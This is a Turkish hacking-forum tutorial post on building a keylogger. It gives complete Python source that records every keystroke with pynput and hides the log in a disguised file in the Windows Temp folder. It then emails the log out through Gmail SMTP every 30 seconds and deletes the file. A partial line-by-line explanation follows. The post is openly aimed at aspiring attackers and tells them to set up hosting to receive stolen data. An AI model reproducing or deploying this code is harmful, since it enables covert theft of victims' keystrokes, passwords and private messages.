Hoşgeldin Misafir

Keyloger Yapımı

35izmir

35izmir

🆁🅴🅸🆂🅲🅸🆂🅴🆅🅴🆁
11 Ocak 2018
2,701 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Selam Zalım Hıçkırlar ve Olağan Lamer Abiler

Güzel bir konu ile Başlamak İstiyorum Her Zalım Hackerın Yapacağı gibi Keyloger Yapımı

Önce Kodlarımıza Bakalım ve Anlayalım


Not:

Kendinize Mutlaka bir Hosting Ve Domain Edinin Çünkü Bilgiler Oraya Düşecektir




Kod:
from pynput.keyboard import Listener,Key[/FONT][/FONT][/FONT][/SIZE][/CENTER]
[SIZE=6][FONT=Arial Black][FONT=Arial Black][FONT=Arial Black]
[CENTER]from email.mime.multipart import MIMEMultipart

from email.mime.text import MIMEText

import smtplib

import os

import time

import threading





liste = list()

cpdurum = False

shdurum = False

gr_durum = False



gr_liste = ["}",">","£","#","$","½","","{","[","]"]

shliste = ["=","!","'","^","+","%","&","/","(",")"]

rakam = "0123456789"



def main():



   def bas(key):



       global liste,cpdurum,shdurum,gr_durum



       try:



           if shdurum:



               if key.char in rakam:



                   liste.append(shliste[int(key.char)])



               else:



                   if key.char == "*":



                       liste.append("?")



                   elif key.char == "-":



                       liste.append("_")



                   elif not cpdurum:



                       liste.append(key.char.upper())



                   else:



                       liste.append(key.char)






           elif gr_durum:



               if key.char in rakam:



                   liste.append(gr_liste[int(key.char)])



               else:



                   if key.char == "*":



                       liste.append("\\")



                   if key.char == "-":



                       liste.append("|")



                   if key.char == "q":



                       liste.append("@")






           elif cpdurum:



               liste.append(key.char.upper())



           else:



               liste.append(key.char)



       except AttributeError:



           if key ==  Key.space:



               liste.append(" ")



           if key == Key.enter:



               liste.append("\n")



           if key == Key.backspace:



               liste.append("'<-'")





           if key == Key.caps_lock:



               cpdurum = not cpdurum



           if key == Key.shift_r or key == Key.shift_l:



               shdurum = True



           if key == Key.alt_gr:



               gr_durum = True




       if len(liste) >= 30:



           dosya_yaz()



           liste = list()



   def birak(key):


       global shdurum,gr_durum


       if key == Key.shift_l or key == Key.shift_r:



           shdurum = False



       if key == Key.alt_gr:



           gr_durum = False





   def dosya_yaz():



       global liste



       username = os.getlogin()



       with open("C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt","a",encoding = "utf-8") as file:



           for x in liste:



               file.write(x)




   with Listener(on_press=bas,on_release=birak) as listener:



       listener.join()



def mail_gonder():



   while 1:



       time.sleep(30)



       username = os.getlogin()



       konum = "C:/Users/"+username+"/Appdata/Local/Temp/system-info-78.txt"



       try:

           if os.path.getsize(konum) >= 60:



               with open(konum,"r",encoding = "utf-8") as file:



                   icerik = file.read()



               yapi = MIMEMultipart()



               yapi["From"] = "kimden"

               yapi["To"] = "kime"

               yapi["Subject"] = "LOG"



               yazi = MIMEText(icerik,"plain")



               yapi.attach(yazi)



               server = smtplib.SMTP("smtp.gmail.com",587)



               server.ehlo()



               server.starttls()



               server.login("kullanici_adi","parola")



               server.sendmail("kimden","kime",yapi.as_string())



               server.close()



               os.remove(konum)



       except:



           pass





t1 = threading.Thread(target = main)

t2 = threading.Thread(target = mail_gonder)



t1.start()

t2.start()




Şimdi Alıntılar İle İlerleyeceğiz Anlaşılır Bir Şekilde



from pynput.keyboard import Listener,Key
from email.mime.multipart import MIMEMultipart

from email.mime.text import MIMEText[

import smtplib

import os

import time

import threading


Baş Kısmımız Kütüphanelerimizi Dahil Ettiğimiz Alan


pynput.keyboard // USB İle Bağlı Cihazları Kontrol Etmemizi Sağlayan Kütüphanedir Örnek Klavye Fare Gibi
Listener,Key // Klavye Üzerinden Basılan Tuşları Algılamaya Yarar
email.mime.multipart // Mail Göndermeye Yarar
email.mime.text // Text Formatında Göndermeyi Sağlar
smtplib // Mail Sunucusu Ayarlamayı Sağlar

Değişkenler



// Açıklamayacağım Konu Uzar Araştırıp Çözersin Gr Sh Özel Tuşları Algılaması İçin





liste = list()-
cpdurum = False

shdurum = False

gr_durum = False-





gr_liste = ["}",">","£","#","$","½","","{","[","]"]



shliste = ["=","!","'","^","+","%","&","/","(",")"]

rakam = "0123456789"-





Devamı P2 De P2 İçin Tıkla (Konuyu Yazdığımda Eklerim)
 
Moderatör tarafında düzenlendi: